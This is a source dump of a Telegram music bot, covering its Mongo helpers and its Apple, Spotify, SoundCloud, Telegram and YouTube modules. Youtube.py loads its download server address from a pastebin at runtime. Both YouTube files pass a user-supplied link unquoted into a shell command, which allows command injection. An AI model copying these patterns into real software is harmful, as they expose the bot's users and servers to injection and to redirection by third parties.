user = await afkdb.find_one({"user_id": user_id})
if not user:
return False, {}
return True, user["reason"]
async def add_afk(user_id: int, mode):
await afkdb.update_one(
{"user_id": user_id}, {"$set": {"reason": mode}}, upsert=True
)
async def remove_afk(user_id: int):
user = await afkdb.find_one({"user_id": user_id})
if user:
return await afkdb.delete_one({"user_id": user_id})
async def get_afk_users() -> list:
users = afkdb.find({"user_id": {"$gt": 0}})
if not users:
return []
users_list = []
for user in await users.to_list(length=1000000000):
users_list.append(user)
return users_list
================================================
FILE: BrandrdXMusic/mongo/couples_db.py
================================================
from BrandrdXMusic.utils.mongo import db
coupledb = db.couple
async def _get_lovers(cid: int):
lovers = await coupledb.find_one({"chat_id": cid})
if lovers:
lovers = lovers["couple"]
else:
lovers = {}
return lovers
async def _get_image(cid: int):
lovers = await coupledb.find_one({"chat_id": cid})
if lovers:
lovers = lovers["img"]
else:
lovers = {}
return lovers
async def get_couple(cid: int, date: str):
lovers = await _get_lovers(cid)
if date in lovers:
return lovers[date]
else:
return False
async def save_couple(cid: int, date: str, couple: dict, img: str):
lovers = await _get_lovers(cid)
lovers[date] = couple
await coupledb.update_one(
{"chat_id": cid},
{"$set": {"couple": lovers, "img": img}},
upsert=True,
)
================================================
FILE: BrandrdXMusic/mongo/filtersdb.py
================================================
from BrandrdXMusic.utils.mongo import db
filters = db.filters["filters"]
async def add_filter_db(chat_id: int, filter_name: str, content: str, text: str, data_type: int):
filter_data = await filters.find_one(
{
'chat_id': chat_id
}
)
if filter_data is None:
_id = await filters.count_documents({}) + 1
await filters.insert_one(
{
'_id': _id,
'chat_id': chat_id,
'filters': [
{
'filter_name': filter_name,
'content': content,
'text': text,
'data_type': data_type
}
]
}
)
else:
FILTERS_NAME = await get_filters_list(chat_id)
if filter_name not in FILTERS_NAME:
await filters.update_one(
{
'chat_id': chat_id
},
{
'$addToSet': {
'filters': {
'filter_name': filter_name,
'content': content,
'text': text,
'data_type': data_type
}
}
},
upsert=True
)
else:
await filters.update_one(
{
'chat_id': chat_id,
'filters.filter_name': filter_name
},
{
'$set': {
'filters.$.filter_name': filter_name,
'filters.$.content': content,
'filters.$.text': text,
'filters.$.data_type': data_type
}
}
)
async def stop_db(chat_id: int, filter_name:str):
await filters.update_one(
{
'chat_id': chat_id
},
{
'$pull': {
'filters': {
'filter_name': filter_name
}
}
}
)
async def stop_all_db(chat_id: id):
await filters.update_one(
{
'chat_id': chat_id
},
{
'$set': {
'filters': []
}
},
upsert=True
)
async def get_filter(chat_id: int, filter_name: str):
filter_data = await filters.find_one(
{
'chat_id': chat_id
}
)
if filter_data is not None:
filters_ = filter_data['filters']
for filter_ in filters_:
if filter_['filter_name'] == filter_name:
content = filter_['content']
text = filter_['text']
data_type = filter_['data_type']
return (
filter_name,
content,
text,
data_type
)
async def get_filters_list(chat_id: int):
filter_data = await filters.find_one(
{
'chat_id': chat_id
}
)
if filter_data is not None:
FILTERS_NAME = list()
for filter_name in filter_data['filters']:
FILTERS_NAME.append(filter_name['filter_name'])
return FILTERS_NAME
else:
return []
================================================
FILE: BrandrdXMusic/mongo/readable_time.py
================================================
def get_readable_time(seconds: int) -> str:
count = 0
readable_time = ""
time_list = []
time_suffix_list = ["s", "ᴍ", "ʜ", "ᴅᴀʏs"]
while count < 4:
count += 1
remainder, result = divmod(seconds, 60) if count < 3 else divmod(seconds, 24)
if seconds == 0 and remainder == 0:
break
time_list.append(int(result))
seconds = int(remainder)
for x in range(len(time_list)):
time_list[x] = str(time_list[x]) + time_suffix_list[x]
if len(time_list) == 4:
readable_time += time_list.pop() + ", "
time_list.reverse()
readable_time += ":".join(time_list)
return readable_time
================================================
FILE: BrandrdXMusic/platforms/Apple.py
================================================
import re
from typing import Union
import aiohttp
from bs4 import BeautifulSoup
from youtubesearchpython.__future__ import VideosSearch
class AppleAPI:
def __init__(self):
self.regex = r"^(https:\/\/music.apple.com\/)(.*)$"
self.base = "https://music.apple.com/in/playlist/"
async def valid(self, link: str):
if re.search(self.regex, link):
return True
else:
return False
async def track(self, url, playid: Union[bool, str] = None):
if playid:
url = self.base + url
async with aiohttp.ClientSession() as session:
async with session.get(url) as response:
if response.status != 200:
return False
html = await response.text()
soup = BeautifulSoup(html, "html.parser")
search = None
for tag in soup.find_all("meta"):
if tag.get("property", None) == "og:title":
search = tag.get("content", None)
if search is None:
return False
results = VideosSearch(search, limit=1)
for result in (await results.next())["result"]:
title = result["title"]
ytlink = result["link"]
vidid = result["id"]
duration_min = result["duration"]
thumbnail = result["thumbnails"][0]["url"].split("?")[0]
track_details = {
"title": title,
"link": ytlink,
"vidid": vidid,
"duration_min": duration_min,
"thumb": thumbnail,
}
return track_details, vidid
async def playlist(self, url, playid: Union[bool, str] = None):
if playid:
url = self.base + url
playlist_id = url.split("playlist/")[1]
async with aiohttp.ClientSession() as session:
async with session.get(url) as response:
if response.status != 200:
return False
html = await response.text()
soup = BeautifulSoup(html, "html.parser")
applelinks = soup.find_all("meta", attrs={"property": "music:song"})
results = []
for item in applelinks:
try:
xx = (((item["content"]).split("album/")[1]).split("/")[0]).replace(
"-", " "
)
except:
xx = ((item["content"]).split("album/")[1]).split("/")[0]
results.append(xx)
return results, playlist_id
================================================
FILE: BrandrdXMusic/platforms/Carbon.py
================================================
import random
from os.path import realpath
import aiohttp
from aiohttp import client_exceptions
class UnableToFetchCarbon(Exception):
pass
themes = [
"3024-night",
"a11y-dark",
"blackboard",
"base16-dark",
"base16-light",
"cobalt",
"duotone-dark",
"dracula-pro",
"hopscotch",
"lucario",
"material",
"monokai",
"nightowl",
"nord",
"oceanic-next",
"one-light",
"one-dark",
"panda-syntax",
"parasio-dark",
"seti",
"shades-of-purple",
"solarized+dark",
"solarized+light",
"synthwave-84",
"twilight",
"verminal",
"vscode",
"yeti",
"zenburn",
]
colour = [
"#FF0000",
"#FF5733",
"#FFFF00",
"#008000",
"#0000FF",
"#800080",
"#A52A2A",
"#FF00FF",
"#D2B48C",
"#00FFFF",
"#808000",
"#800000",
"#00FFFF",
"#30D5C8",
"#00FF00",
"#008080",
"#4B0082",
"#EE82EE",
"#FFC0CB",
"#000000",
"#FFFFFF",
"#808080",
]
class CarbonAPI:
def __init__(self):
self.language = "auto"
self.drop_shadow = True
self.drop_shadow_blur = "68px"
self.drop_shadow_offset = "20px"
self.font_family = "JetBrains Mono"
self.width_adjustment = True
self.watermark = False
async def generate(self, text: str, user_id):
async with aiohttp.ClientSession(
headers={"Content-Type": "application/json"},
) as ses:
params = {
"code": text,
}
params["backgroundColor"] = random.choice(colour)
params["theme"] = random.choice(themes)
params["dropShadow"] = self.drop_shadow
params["dropShadowOffsetY"] = self.drop_shadow_offset
params["dropShadowBlurRadius"] = self.drop_shadow_blur
params["fontFamily"] = self.font_family
params["language"] = self.language
params["watermark"] = self.watermark
params["widthAdjustment"] = self.width_adjustment
try:
request = await ses.post(
"https://carbonara.solopov.dev/api/cook",
json=params,
)
except client_exceptions.ClientConnectorError:
raise UnableToFetchCarbon("Can not reach the Host!")
resp = await request.read()
with open(f"cache/carbon{user_id}.jpg", "wb") as f:
f.write(resp)
return realpath(f.name)
================================================
FILE: BrandrdXMusic/platforms/Resso.py
================================================
import re
from typing import Union
import aiohttp
from bs4 import BeautifulSoup
from youtubesearchpython.__future__ import VideosSearch
class RessoAPI:
def __init__(self):
self.regex = r"^(https:\/\/m.resso.com\/)(.*)$"
self.base = "https://m.resso.com/"
async def valid(self, link: str):
if re.search(self.regex, link):
return True
else:
return False
async def track(self, url, playid: Union[bool, str] = None):
if playid:
url = self.base + url
async with aiohttp.ClientSession() as session:
async with session.get(url) as response:
if response.status != 200:
return False
html = await response.text()
soup = BeautifulSoup(html, "html.parser")
for tag in soup.find_all("meta"):
if tag.get("property", None) == "og:title":
title = tag.get("content", None)
if tag.get("property", None) == "og:description":
des = tag.get("content", None)
try:
des = des.split("·")[0]
except:
pass
if des == "":
return
results = VideosSearch(title, limit=1)
for result in (await results.next())["result"]:
title = result["title"]
ytlink = result["link"]
vidid = result["id"]
duration_min = result["duration"]
thumbnail = result["thumbnails"][0]["url"].split("?")[0]
track_details = {
"title": title,
"link": ytlink,
"vidid": vidid,
"duration_min": duration_min,
"thumb": thumbnail,
}
return track_details, vidid
================================================
FILE: BrandrdXMusic/platforms/Soundcloud.py
================================================
from os import path
from yt_dlp import YoutubeDL
from BrandrdXMusic.utils.formatters import seconds_to_min
class SoundAPI:
def __init__(self):
self.opts = {
"outtmpl": "downloads/%(id)s.%(ext)s",
"format": "best",
"retries": 3,
"nooverwrites": False,
"continuedl": True,
}
async def valid(self, link: str):
if "soundcloud" in link:
return True
else:
return False
async def download(self, url):
d = YoutubeDL(self.opts)
try:
info = d.extract_info(url)
except:
return False
xyz = path.join("downloads", f"{info['id']}.{info['ext']}")
duration_min = seconds_to_min(info["duration"])
track_details = {
"title": info["title"],
"duration_sec": info["duration"],
"duration_min": duration_min,
"uploader": info["uploader"],
"filepath": xyz,
}
return track_details, xyz
================================================
FILE: BrandrdXMusic/platforms/Spotify.py
================================================
import re
import spotipy
from spotipy.oauth2 import SpotifyClientCredentials
from youtubesearchpython.__future__ import VideosSearch
import config
class SpotifyAPI:
def __init__(self):
self.regex = r"^(https:\/\/open.spotify.com\/)(.*)$"
self.client_id = config.SPOTIFY_CLIENT_ID
self.client_secret = config.SPOTIFY_CLIENT_SECRET
if config.SPOTIFY_CLIENT_ID and config.SPOTIFY_CLIENT_SECRET:
self.client_credentials_manager = SpotifyClientCredentials(
self.client_id, self.client_secret
)
self.spotify = spotipy.Spotify(
client_credentials_manager=self.client_credentials_manager
)
else:
self.spotify = None
async def valid(self, link: str):
if re.search(self.regex, link):
return True
else:
return False
async def track(self, link: str):
track = self.spotify.track(link)
info = track["name"]
for artist in track["artists"]:
fetched = f' {artist["name"]}'
if "Various Artists" not in fetched:
info += fetched
results = VideosSearch(info, limit=1)
for result in (await results.next())["result"]:
ytlink = result["link"]
title = result["title"]
vidid = result["id"]
duration_min = result["duration"]
thumbnail = result["thumbnails"][0]["url"].split("?")[0]
track_details = {
"title": title,
"link": ytlink,
"vidid": vidid,
"duration_min": duration_min,
"thumb": thumbnail,
}
return track_details, vidid
async def playlist(self, url):
playlist = self.spotify.playlist(url)
playlist_id = playlist["id"]
results = []
for item in playlist["tracks"]["items"]:
music_track = item["track"]
info = music_track["name"]
for artist in music_track["artists"]:
fetched = f' {artist["name"]}'
if "Various Artists" not in fetched:
info += fetched
results.append(info)
return results, playlist_id
async def album(self, url):
album = self.spotify.album(url)
album_id = album["id"]
results = []
for item in album["tracks"]["items"]:
info = item["name"]
for artist in item["artists"]:
fetched = f' {artist["name"]}'
if "Various Artists" not in fetched:
info += fetched
results.append(info)
return (
results,
album_id,
)
async def artist(self, url):
artistinfo = self.spotify.artist(url)
artist_id = artistinfo["id"]
results = []
artisttoptracks = self.spotify.artist_top_tracks(url)
for item in artisttoptracks["tracks"]:
info = item["name"]
for artist in item["artists"]:
fetched = f' {artist["name"]}'
if "Various Artists" not in fetched:
info += fetched
results.append(info)
return results, artist_id
================================================
FILE: BrandrdXMusic/platforms/Telegram.py
================================================
import asyncio
import os
import time
from typing import Union
from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Voice
import config
from BrandrdXMusic import app
from BrandrdXMusic.utils.formatters import (
check_duration,
convert_bytes,
get_readable_time,
seconds_to_min,
)
class TeleAPI:
def __init__(self):
self.chars_limit = 4096
self.sleep = 5
async def send_split_text(self, message, string):
n = self.chars_limit
out = [(string[i : i + n]) for i in range(0, len(string), n)]
j = 0
for x in out:
if j <= 2:
j += 1
await message.reply_text(x, disable_web_page_preview=True)
return True
async def get_link(self, message):
return message.link
async def get_filename(self, file, audio: Union[bool, str] = None):
try:
file_name = file.file_name
if file_name is None:
file_name = "ᴛᴇʟᴇɢʀᴀᴍ ᴀᴜᴅɪᴏ" if audio else "ᴛᴇʟᴇɢʀᴀᴍ ᴠɪᴅᴇᴏ"
except:
file_name = "ᴛᴇʟᴇɢʀᴀᴍ ᴀᴜᴅɪᴏ" if audio else "ᴛᴇʟᴇɢʀᴀᴍ ᴠɪᴅᴇᴏ"
return file_name
async def get_duration(self, file):
try:
dur = seconds_to_min(file.duration)
except:
dur = "Unknown"
return dur
async def get_duration(self, filex, file_path):
try:
dur = seconds_to_min(filex.duration)
except:
try:
dur = await asyncio.get_event_loop().run_in_executor(
None, check_duration, file_path
)
dur = seconds_to_min(dur)
except:
return "Unknown"
return dur
async def get_filepath(
self,
audio: Union[bool, str] = None,
video: Union[bool, str] = None,
):
if audio:
try:
file_name = (
audio.file_unique_id
+ "."
+ (
(audio.file_name.split(".")[-1])
if (not isinstance(audio, Voice))
else "ogg"
)
)
except:
file_name = audio.file_unique_id + "." + "ogg"
file_name = os.path.join(os.path.realpath("downloads"), file_name)
if video:
try:
file_name = (
video.file_unique_id + "." + (video.file_name.split(".")[-1])
)
except:
file_name = video.file_unique_id + "." + "mp4"
file_name = os.path.join(os.path.realpath("downloads"), file_name)
return file_name
async def download(self, _, message, mystic, fname):
lower = [0, 8, 17, 38, 64, 77, 96]
higher = [5, 10, 20, 40, 66, 80, 99]
checker = [5, 10, 20, 40, 66, 80, 99]
speed_counter = {}
if os.path.exists(fname):
return True
async def down_load():
async def progress(current, total):
if current == total:
return
current_time = time.time()
start_time = speed_counter.get(message.id)
check_time = current_time - start_time
upl = InlineKeyboardMarkup(
[
[
InlineKeyboardButton(
text="ᴄᴀɴᴄᴇʟ",
callback_data="stop_downloading",
),
]
]
)
percentage = current * 100 / total
percentage = str(round(percentage, 2))
speed = current / check_time
eta = int((total - current) / speed)
eta = get_readable_time(eta)
if not eta:
eta = "0 sᴇᴄᴏɴᴅs"
total_size = convert_bytes(total)
completed_size = convert_bytes(current)
speed = convert_bytes(speed)
percentage = int((percentage.split("."))[0])
for counter in range(7):
low = int(lower[counter])
high = int(higher[counter])
check = int(checker[counter])
if low < percentage <= high:
if high == check:
try:
await mystic.edit_text(
text=_["tg_1"].format(
app.mention,
total_size,
completed_size,
percentage[:5],
speed,
eta,
),
reply_markup=upl,
)
checker[counter] = 100
except:
pass
speed_counter[message.id] = time.time()
try:
await app.download_media(
message.reply_to_message,
file_name=fname,
progress=progress,
)
try:
elapsed = get_readable_time(
int(int(time.time()) - int(speed_counter[message.id]))
)
except:
elapsed = "0 sᴇᴄᴏɴᴅs"
await mystic.edit_text(_["tg_2"].format(elapsed))
except:
await mystic.edit_text(_["tg_3"])
task = asyncio.create_task(down_load())
config.lyrical[mystic.id] = task
await task
verify = config.lyrical.get(mystic.id)
if not verify:
return False
config.lyrical.pop(mystic.id)
return True
================================================
FILE: BrandrdXMusic/platforms/Youtube.py
================================================
import asyncio
import os
import re
from typing import Union
import yt_dlp
from pyrogram.enums import MessageEntityType
from pyrogram.types import Message
from youtubesearchpython.__future__ import VideosSearch
from BrandrdXMusic.utils.formatters import time_to_seconds
import aiohttp
from BrandrdXMusic import LOGGER
YOUR_API_URL = None
FALLBACK_API_URL = "https://shrutibots.site"
async def load_api_url():
global YOUR_API_URL
logger = LOGGER("BrandrdXMusic.platforms.Youtube.py")
try:
async with aiohttp.ClientSession() as session:
async with session.get("https://pastebin.com/raw/rLsBhAQa", timeout=aiohttp.ClientTimeout(total=10)) as response:
if response.status == 200:
content = await response.text()
YOUR_API_URL = content.strip()
logger.info("API URL loaded successfully")
else:
YOUR_API_URL = FALLBACK_API_URL
logger.info("Using fallback API URL")
except Exception:
YOUR_API_URL = FALLBACK_API_URL
logger.info("Using fallback API URL")
try:
loop = asyncio.get_event_loop()
if loop.is_running():
asyncio.create_task(load_api_url())
else:
loop.run_until_complete(load_api_url())
except RuntimeError:
pass
async def download_song(link: str) -> str:
global YOUR_API_URL
if not YOUR_API_URL:
await load_api_url()
if not YOUR_API_URL:
YOUR_API_URL = FALLBACK_API_URL
video_id = link.split('v=')[-1].split('&')[0] if 'v=' in link else link
if not video_id or len(video_id) < 3:
return None
DOWNLOAD_DIR = "downloads"
os.makedirs(DOWNLOAD_DIR, exist_ok=True)
file_path = os.path.join(DOWNLOAD_DIR, f"{video_id}.mp3")
if os.path.exists(file_path):
return file_path
try:
async with aiohttp.ClientSession() as session:
params = {"url": video_id, "type": "audio"}
async with session.get(
f"{YOUR_API_URL}/download",
params=params,
timeout=aiohttp.ClientTimeout(total=60)
) as response:
if response.status != 200:
return None
data = await response.json()
download_token = data.get("download_token")
if not download_token:
return None
stream_url = f"{YOUR_API_URL}/stream/{video_id}?type=audio&token={download_token}"
async with session.get(
stream_url,
timeout=aiohttp.ClientTimeout(total=300)
) as file_response:
if file_response.status == 302:
redirect_url = file_response.headers.get('Location')
if redirect_url:
async with session.get(redirect_url) as final_response:
if final_response.status != 200:
return None
with open(file_path, "wb") as f:
async for chunk in final_response.content.iter_chunked(16384):
f.write(chunk)
return file_path
elif file_response.status == 200:
with open(file_path, "wb") as f:
async for chunk in file_response.content.iter_chunked(16384):
f.write(chunk)
return file_path
else:
return None
except Exception:
return None
async def download_video(link: str) -> str:
global YOUR_API_URL
if not YOUR_API_URL:
await load_api_url()
if not YOUR_API_URL:
YOUR_API_URL = FALLBACK_API_URL
video_id = link.split('v=')[-1].split('&')[0] if 'v=' in link else link
if not video_id or len(video_id) < 3:
return None
DOWNLOAD_DIR = "downloads"
os.makedirs(DOWNLOAD_DIR, exist_ok=True)
file_path = os.path.join(DOWNLOAD_DIR, f"{video_id}.mp4")
if os.path.exists(file_path):
return file_path
try:
async with aiohttp.ClientSession() as session:
params = {"url": video_id, "type": "video"}
async with session.get(
f"{YOUR_API_URL}/download",
params=params,
timeout=aiohttp.ClientTimeout(total=60)
) as response:
if response.status != 200:
return None
data = await response.json()
download_token = data.get("download_token")
if not download_token:
return None
stream_url = f"{YOUR_API_URL}/stream/{video_id}?type=video&token={download_token}"
async with session.get(
stream_url,
timeout=aiohttp.ClientTimeout(total=600)
) as file_response:
if file_response.status == 302:
redirect_url = file_response.headers.get('Location')
if redirect_url:
async with session.get(redirect_url) as final_response:
if final_response.status != 200:
return None
with open(file_path, "wb") as f:
async for chunk in final_response.content.iter_chunked(16384):
f.write(chunk)
return file_path
elif file_response.status == 200:
with open(file_path, "wb") as f:
async for chunk in file_response.content.iter_chunked(16384):
f.write(chunk)
return file_path
else:
return None
except Exception:
return None
async def shell_cmd(cmd):
proc = await asyncio.create_subprocess_shell(
cmd,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
)
out, errorz = await proc.communicate()
if errorz:
if "unavailable videos are hidden" in (errorz.decode("utf-8")).lower():
return out.decode("utf-8")
else:
return errorz.decode("utf-8")
return out.decode("utf-8")
class YouTubeAPI:
def __init__(self):
self.base = "https://www.youtube.com/watch?v="
self.regex = r"(?:youtube\.com|youtu\.be)"
self.status = "https://www.youtube.com/oembed?url="
self.listbase = "https://youtube.com/playlist?list="
self.reg = re.compile(r"\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])")
async def exists(self, link: str, videoid: Union[bool, str] = None):
if videoid:
link = self.base + link
return bool(re.search(self.regex, link))
async def url(self, message_1: Message) -> Union[str, None]:
messages = [message_1]
if message_1.reply_to_message:
messages.append(message_1.reply_to_message)
for message in messages:
if message.entities:
for entity in message.entities:
if entity.type == MessageEntityType.URL:
text = message.text or message.caption
return text[entity.offset: entity.offset + entity.length]
elif message.caption_entities:
for entity in message.caption_entities:
if entity.type == MessageEntityType.TEXT_LINK:
return entity.url
return None
async def details(self, link: str, videoid: Union[bool, str] = None):
if videoid:
link = self.base + link
if "&" in link:
link = link.split("&")[0]
results = VideosSearch(link, limit=1)
for result in (await results.next())["result"]:
title = result["title"]
duration_min = result["duration"]
thumbnail = result["thumbnails"][0]["url"].split("?")[0]
vidid = result["id"]
duration_sec = int(time_to_seconds(duration_min)) if duration_min else 0
return title, duration_min, duration_sec, thumbnail, vidid
async def title(self, link: str, videoid: Union[bool, str] = None):
if videoid:
link = self.base + link
if "&" in link:
link = link.split("&")[0]
results = VideosSearch(link, limit=1)
for result in (await results.next())["result"]:
return result["title"]
async def duration(self, link: str, videoid: Union[bool, str] = None):
if videoid:
link = self.base + link
if "&" in link:
link = link.split("&")[0]
results = VideosSearch(link, limit=1)
for result in (await results.next())["result"]:
return result["duration"]
async def thumbnail(self, link: str, videoid: Union[bool, str] = None):
if videoid:
link = self.base + link
if "&" in link:
link = link.split("&")[0]
results = VideosSearch(link, limit=1)
for result in (await results.next())["result"]:
return result["thumbnails"][0]["url"].split("?")[0]
async def video(self, link: str, videoid: Union[bool, str] = None):
if videoid:
link = self.base + link
if "&" in link:
link = link.split("&")[0]
try:
downloaded_file = await download_video(link)
if downloaded_file:
return 1, downloaded_file
else:
return 0, "Video download failed"
except Exception as e:
return 0, f"Video download error: {e}"
async def playlist(self, link, limit, user_id, videoid: Union[bool, str] = None):
if videoid:
link = self.listbase + link
if "&" in link:
link = link.split("&")[0]
playlist = await shell_cmd(
f"yt-dlp -i --get-id --flat-playlist --playlist-end {limit} --skip-download {link}"
)
try:
result = [key for key in playlist.split("\n") if key]
except:
result = []
return result
async def track(self, link: str, videoid: Union[bool, str] = None):
if videoid:
link = self.base + link
if "&" in link:
link = link.split("&")[0]
results = VideosSearch(link, limit=1)
for result in (await results.next())["result"]:
title = result["title"]
duration_min = result["duration"]
vidid = result["id"]
yturl = result["link"]
thumbnail = result["thumbnails"][0]["url"].split("?")[0]
track_details = {
"title": title,
"link": yturl,
"vidid": vidid,
"duration_min": duration_min,
"thumb": thumbnail,
}
return track_details, vidid
async def formats(self, link: str, videoid: Union[bool, str] = None):
if videoid:
link = self.base + link
if "&" in link:
link = link.split("&")[0]
ytdl_opts = {"quiet": True}
ydl = yt_dlp.YoutubeDL(ytdl_opts)
with ydl:
formats_available = []
r = ydl.extract_info(link, download=False)
for format in r["formats"]:
try:
if "dash" not in str(format["format"]).lower():
formats_available.append(
{
"format": format["format"],
"filesize": format.get("filesize"),
"format_id": format["format_id"],
"ext": format["ext"],
"format_note": format["format_note"],
"yturl": link,
}
)
except:
continue
return formats_available, link
async def slider(self, link: str, query_type: int, videoid: Union[bool, str] = None):
if videoid:
link = self.base + link
if "&" in link:
link = link.split("&")[0]
a = VideosSearch(link, limit=10)
result = (await a.next()).get("result")
title = result[query_type]["title"]
duration_min = result[query_type]["duration"]
vidid = result[query_type]["id"]
thumbnail = result[query_type]["thumbnails"][0]["url"].split("?")[0]
return title, duration_min, thumbnail, vidid
async def download(
self,
link: str,
mystic,
video: Union[bool, str] = None,
videoid: Union[bool, str] = None,
songaudio: Union[bool, str] = None,
songvideo: Union[bool, str] = None,
format_id: Union[bool, str] = None,
title: Union[bool, str] = None,
) -> str:
if videoid:
link = self.base + link
try:
if video:
downloaded_file = await download_video(link)
else:
downloaded_file = await download_song(link)
if downloaded_file:
return downloaded_file, True
else:
return None, False
except Exception:
return None, False
================================================
FILE: BrandrdXMusic/platforms/Youtube.txt
================================================
import asyncio
import os
import re
import json
from typing import Union
import yt_dlp
from pyrogram.enums import MessageEntityType
from pyrogram.types import Message
from youtubesearchpython.__future__ import VideosSearch
from LOKESHXMUSIC.utils.database import is_on_off
from LOKESHXMUSIC.utils.formatters import time_to_seconds
import os
import glob
import random
import logging
def cookie_txt_file():
folder_path = f"{os.getcwd()}/cookies"
filename = f"{os.getcwd()}/cookies/logs.csv"
txt_files = glob.glob(os.path.join(folder_path, '*.txt'))
if not txt_files:
raise FileNotFoundError("No .txt files found in the specified folder.")
cookie_txt_file = random.choice(txt_files)
with open(filename, 'a') as file:
file.write(f'Choosen File : {cookie_txt_file}\n')
return f"""cookies/{str(cookie_txt_file).split("/")[-1]}"""
async def check_file_size(link):
async def get_format_info(link):
proc = await asyncio.create_subprocess_exec(
"yt-dlp",
"--cookies", cookie_txt_file(),
"-J",
link,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE
)
stdout, stderr = await proc.communicate()
if proc.returncode != 0:
print(f'Error:\n{stderr.decode()}')
return None
return json.loads(stdout.decode())
def parse_size(formats):
total_size = 0
for format in formats:
if 'filesize' in format:
total_size += format['filesize']
return total_size
info = await get_format_info(link)
if info is None:
return None
formats = info.get('formats', [])
if not formats:
print("No formats found.")
return None
total_size = parse_size(formats)
return total_size
async def shell_cmd(cmd):
proc = await asyncio.create_subprocess_shell(
cmd,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
)
out, errorz = await proc.communicate()
if errorz:
if "unavailable videos are hidden" in (errorz.decode("utf-8")).lower():
return out.decode("utf-8")
else:
return errorz.decode("utf-8")
return out.decode("utf-8")
class YouTubeAPI:
def __init__(self):
self.base = "https://www.youtube.com/watch?v="
self.regex = r"(?:youtube\.com|youtu\.be)"
self.status = "https://www.youtube.com/oembed?url="
self.listbase = "https://youtube.com/playlist?list="
self.reg = re.compile(r"\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])")
async def exists(self, link: str, videoid: Union[bool, str] = None):
if videoid:
link = self.base + link
if re.search(self.regex, link):
return True
else:
return False
async def url(self, message_1: Message) -> Union[str, None]:
messages = [message_1]
if message_1.reply_to_message:
messages.append(message_1.reply_to_message)
text = ""
offset = None
length = None
for message in messages:
if offset:
break
if message.entities:
for entity in message.entities:
if entity.type == MessageEntityType.URL:
text = message.text or message.caption
offset, length = entity.offset, entity.length
break
elif message.caption_entities:
for entity in message.caption_entities:
if entity.type == MessageEntityType.TEXT_LINK:
return entity.url
if offset in (None,):
return None
return text[offset : offset + length]
async def details(self, link: str, videoid: Union[bool, str] = None):
if videoid:
link = self.base + link
if "&" in link:
link = link.split("&")[0]
results = VideosSearch(link, limit=1)
for result in (await results.next())["result"]:
title = result["title"]
duration_min = result["duration"]
thumbnail = result["thumbnails"][0]["url"].split("?")[0]
vidid = result["id"]
if str(duration_min) == "None":
duration_sec = 0
else:
duration_sec = int(time_to_seconds(duration_min))
return title, duration_min, duration_sec, thumbnail, vidid
async def title(self, link: str, videoid: Union[bool, str] = None):
if videoid:
link = self.base + link
if "&" in link:
link = link.split("&")[0]
results = VideosSearch(link, limit=1)
for result in (await results.next())["result"]:
title = result["title"]
return title
async def duration(self, link: str, videoid: Union[bool, str] = None):
if videoid:
link = self.base + link
if "&" in link:
link = link.split("&")[0]
results = VideosSearch(link, limit=1)
for result in (await results.next())["result"]:
duration = result["duration"]
return duration
async def thumbnail(self, link: str, videoid: Union[bool, str] = None):
if videoid:
link = self.base + link
if "&" in link:
link = link.split("&")[0]
results = VideosSearch(link, limit=1)
for result in (await results.next())["result"]:
thumbnail = result["thumbnails"][0]["url"].split("?")[0]
return thumbnail
async def video(self, link: str, videoid: Union[bool, str] = None):
if videoid:
link = self.base + link
if "&" in link:
link = link.split("&")[0]
proc = await asyncio.create_subprocess_exec(
"yt-dlp",
"--cookies",cookie_txt_file(),
"-g",
"-f",
"best[height<=?720][width<=?1280]",
f"{link}",
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
)
stdout, stderr = await proc.communicate()
if stdout:
return 1, stdout.decode().split("\n")[0]
else:
return 0, stderr.decode()
async def playlist(self, link, limit, user_id, videoid: Union[bool, str] = None):
if videoid:
link = self.listbase + link
if "&" in link:
link = link.split("&")[0]
playlist = await shell_cmd(
f"yt-dlp -i --get-id --flat-playlist --cookies {cookie_txt_file()} --playlist-end {limit} --skip-download {link}"
)
try:
result = playlist.split("\n")
for key in result:
if key == "":
result.remove(key)
except:
result = []
return result
async def track(self, link: str, videoid: Union[bool, str] = None):
if videoid:
link = self.base + link
if "&" in link:
link = link.split("&")[0]
results = VideosSearch(link, limit=1)
for result in (await results.next())["result"]:
title = result["title"]
duration_min = result["duration"]
vidid = result["id"]
yturl = result["link"]
thumbnail = result["thumbnails"][0]["url"].split("?")[0]
track_details = {
"title": title,
"link": yturl,
"vidid": vidid,
"duration_min": duration_min,
"thumb": thumbnail,
}
return track_details, vidid
async def formats(self, link: str, videoid: Union[bool, str] = None):
if videoid:
link = self.base + link
if "&" in link:
link = link.split("&")[0]
ytdl_opts = {"quiet": True, "cookiefile" : cookie_txt_file()}
ydl = yt_dlp.YoutubeDL(ytdl_opts)
with ydl:
formats_available = []
r = ydl.extract_info(link, download=False)
for format in r["formats"]:
try:
str(format["format"])
except:
continue
if not "dash" in str(format["format"]).lower():
try:
format["format"]
format["filesize"]
format["format_id"]
format["ext"]
format["format_note"]
except:
continue
formats_available.append(
{
"format": format["format"],
"filesize": format["filesize"],
"format_id": format["format_id"],
"ext": format["ext"],
"format_note": format["format_note"],
"yturl": link,
}
)
return formats_available, link
async def slider(
self,
link: str,
query_type: int,
videoid: Union[bool, str] = None,
):
if videoid:
link = self.base + link
if "&" in link:
link = link.split("&")[0]
a = VideosSearch(link, limit=10)
result = (await a.next()).get("result")
title = result[query_type]["title"]
duration_min = result[query_type]["duration"]
vidid = result[query_type]["id"]
thumbnail = result[query_type]["thumbnails"][0]["url"].split("?")[0]
return title, duration_min, thumbnail, vidid
async def download(
self,
link: str,
mystic,
video: Union[bool, str] = None,
videoid: Union[bool, str] = None,
songaudio: Union[bool, str] = None,
songvideo: Union[bool, str] = None,
format_id: Union[bool, str] = None,
title: Union[bool, str] = None,
) -> str:
if videoid:
link = self.base + link
loop = asyncio.get_running_loop()
def audio_dl():
ydl_optssx = {
"format": "bestaudio/best",
"outtmpl": "downloads/%(id)s.%(ext)s",
"geo_bypass": True,
"nocheckcertificate": True,
"quiet": True,
"cookiefile" : cookie_txt_file(),
"no_warnings": True,
}
x = yt_dlp.YoutubeDL(ydl_optssx)
info = x.extract_info(link, False)
xyz = os.path.join("downloads", f"{info['id']}.{info['ext']}")
if os.path.exists(xyz):
return xyz
x.download([link])
return xyz
